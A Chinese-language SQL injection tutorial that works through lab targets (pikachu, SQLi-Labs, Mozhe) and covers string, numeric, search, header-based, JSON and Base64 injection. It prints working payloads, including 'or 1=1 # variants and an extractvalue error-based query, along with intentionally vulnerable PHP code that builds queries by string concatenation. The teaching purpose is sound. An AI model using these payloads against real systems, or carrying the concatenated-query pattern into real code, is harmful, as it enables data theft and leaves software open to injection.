按闭合类型分类

数字型注入

我们使用pikachu靶场做演示。打开 pikachu 实验靶场,在 SQL-Inject 下选择数字型注入。

1.png

使用burp进行抓包

2.png

构造payload:1 or 1=1

3.png

点击发送后,在 Render中查看结果。通过判断存在 SQL 注入,且为数字型注入,可以通过拼接 SQL 语句来实现注入。

字符型注入

打开 pikachu 实验靶场,在 SQL-Inject 下选择字符型注入。输入在之前我们已经知道的一个 id

4.png

我们发现需要输入字符串来完成查询。按照之前的思路我们写一个查询语句:

1
select id,email from member where username='vince';

在这个基础上进行拼接来写一个”万能密码“,按照之前的构想,拼写一个

1
select id,email from member where username='vince' or '1'='1';

接着构造我们的payload 'or '1'='1 并提交

5.png

这是用'1的单引号去闭合最后的单引号的方法,还可以使用注释掉后面的参数的方法无视最后的单引号闭合。

payload:'or 1=1 #'or 1=1 -- (--后有一个空格)

6.png

搜索型注入

打开 pikachu 实验靶场,在 SQL-Inject 下选择搜索型注入。然后随意输入一个字母,能看到匹配出了对应的信息。

按照 SQL 的模糊查询命令。

1
select * from 表名 where 字段名 like '%对应值%';

发现可以按照之前的思路来实现万能语句的拼接。

1
select * from username like '%vince%' or 1=1;

构造payload:XXX%'or 1=1#

8.png

其它闭合类型注入

由于SQL语句拼接方式不同,所以构造的payload也不同。

1
select * from number from where username=('vince');

回到 pikachu 平台,将拼接语句写为 XX') or 1=1#

4c5ff97d5c47c0da796d683152bdee97.png

按注入提交方式分类

不同脚本语言表单数据接收函数

1
2
3
4
5
6
7
8
9
ASP:

request() -- 接收全部提交

request.querystring() -- 接收get提交

request.form() -- 接收post提交

request.cookie() -- 接收cookie提交
1
2
3
4
5
6
7
8
9
PHP:

$_REQUEST() -- 接收全部提交

$_GET() -- 接收get提交

$_POST() -- 接收post提交

$_COOKIE() -- 接收cookie提交

HackBar插件

hackbar插件是一款网页渗透测试插件,支持几乎所有的url界面,能对其进行拆分渗透分析,对编程人员带来极大的帮助。该插件将帮助您测试sql注入,XSS漏洞和站点安全性。 它不是执行标准漏洞利用的工具,也不会教您如何入侵网站。 其主要目的是帮助开发人员对其代码进行安全审核。

GET提交注入

一般直接通过浏览器地址栏提交。这里使用SQLi-Labs来第1关来演示。

3d3e06c86153d8d948417f2221a4590b.png

POST提交注入

可通过安装火狐浏览器插件(hackbar)或 BurpSuite 工具来完成。这里使用SQLi-Labs来第11关来演示。

7bebdcd7aec1d546caf3288e45937c05.png

Cookie头提交注入

浏览器自动会将Cookie以key/value保存到某个目录下的文本文件内,下次请求同一网站时也会自动发送该Cookie给服务器,即添加在请求头部(前提是浏览器设置为启用cookie)。

Cookie 是网站为了识别用户身份来跟踪会话的,虽然 Cookie 是由后端生成的,但每次页面跳转,后端都回对前端的 Cookie 的信息进行验证,但如果后端获取 Cookie 后放在数据库中进行拼接,那么这也将是一个 SQL 注入点。

这里使用SQLi-Labs来第20关来演示。

先使用admin用户进行登录,并抓包发送到Repeater。

472cc26c7785b20e5b4df8044737ee2b.png

回显登录成功,并记录下了cookie

b95d24492714a66b169dfab83fafa686.png

把POST改为GET,加入cookie,构造我们的payload:admin' or 1=1 #

934073bf39b7f876121463cc5c06732d.png

得到了ID为1的数据,注入成功

User-Agent头提交注入

User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

这里使用SQLi-Labs来第18关来演示。

7a57dbc3c4a5f61c0f037f3c3353d692.png

先用admin用户正常登录

e5a5c674fbf1aa099f6777c4b233174f.png

显示记录下了User-Agent头部信息

我们重新登录,并使用BurpSuite进行抓包发送到Repeater

修改User-Agent的值,使用单引号进行注入点探测

bcc2c88749009a9260cb3ea6dc4b5122.png

这里发现显示错误,我们可以使用报错注入(等会会介绍到)

payload:'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

04a3f30ba40c59a6faf0605aea711cbe.png

成功注入,得到了数据库的版本

Referer头提交注入

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

这里使用SQLi-Labs来第19关来演示。与Less-18 基本一样,只不过是在Referer处进行注入。参考Less-18。

ba09273c195bf229cc60c65132467967.png

X-Forwarded-For头提交注入

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

这里使用墨者靶场进行演示。

随便输入用户名和密码并进行抓包

b874fb0a52b3b604aa57cea636cd7d11.png

82bca639da75059e00c248f0bb56bbd6.png

通过响应内容可以看出,记录了我们的访问IP地址,而获取访问IP地址信息一般是通过XFF头来实现的

给请求头添加一个XFF,其值为单引号进行探测

ee3fcaef84a9cd7deefe3e37b33cb416.png

发现显示错误,这里可以用报错注入来实现攻击

payload:'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

b35c830e41736d55c0f9a6e4bdd05bed.png

成功注入,得到了数据库的版本

按提交方式进行处理分类

JSON格式化注入

JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。

JSON语法:

  • 数据在名称/值对中
  • 数据由逗号分隔
  • 大括号保存对象
  • 中括号保存数组

演示靶场源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
// php防止中文乱码
header('content-type:text/html;charset=utf-8');

if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$password=$json->password;

// 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}

// 要操作的数据库名,我的数据库是security
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}

// 数据库编码格式
$mysqli->set_charset('utf-8');

// 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}

// 释放资源
$result->free();
$mysqli->close();
}
?>

按照特定的数据格式查询admin用户密码

1
json={"username":"admin"}

这里使用浏览器插件直接发送POST数据

8a9c30e705e4c42ba1bcd3c7958f091e.png

构造一个简单的payload,json={"username":"' or 1=1 #"}

e4a3a6accff9862d0aad4fa114b86a82.png

Base64编码注入

Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。

在base64注入页面中,程序获取GET参数ID,利用base64_decode ()对参数ID进行base64解码,然后直接将解码后的$id拼接到select语句中进行查询。

演示靶场源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
header("Content-Type:text/html;charset=utf8");
$con=mysqli_connect("localhost","root","qwer","security");
mysqli_set_charset($con,'utf8');
if(!$con){
echo "Connect failed : ".mysqli_connect_error();
}

$id=base64_decode($_GET['id']);
$sql="select * from users where id=".$id;
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result);

if ($row) {
echo "id:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "密码:".$row['password']."<br>";
}else{
print_r(mysqli_error());
}

echo '<hr><br>';
echo "查询的语句是:$sql";
?>

1进行base64编码:MQ==,带入查询

b5659dd25557a61d426a429464efbf91.png

1 or 1=1 #进行Base64编码后,带入查询

43ed3fdc2f3913b68725e2f4777b9277.png

参考资料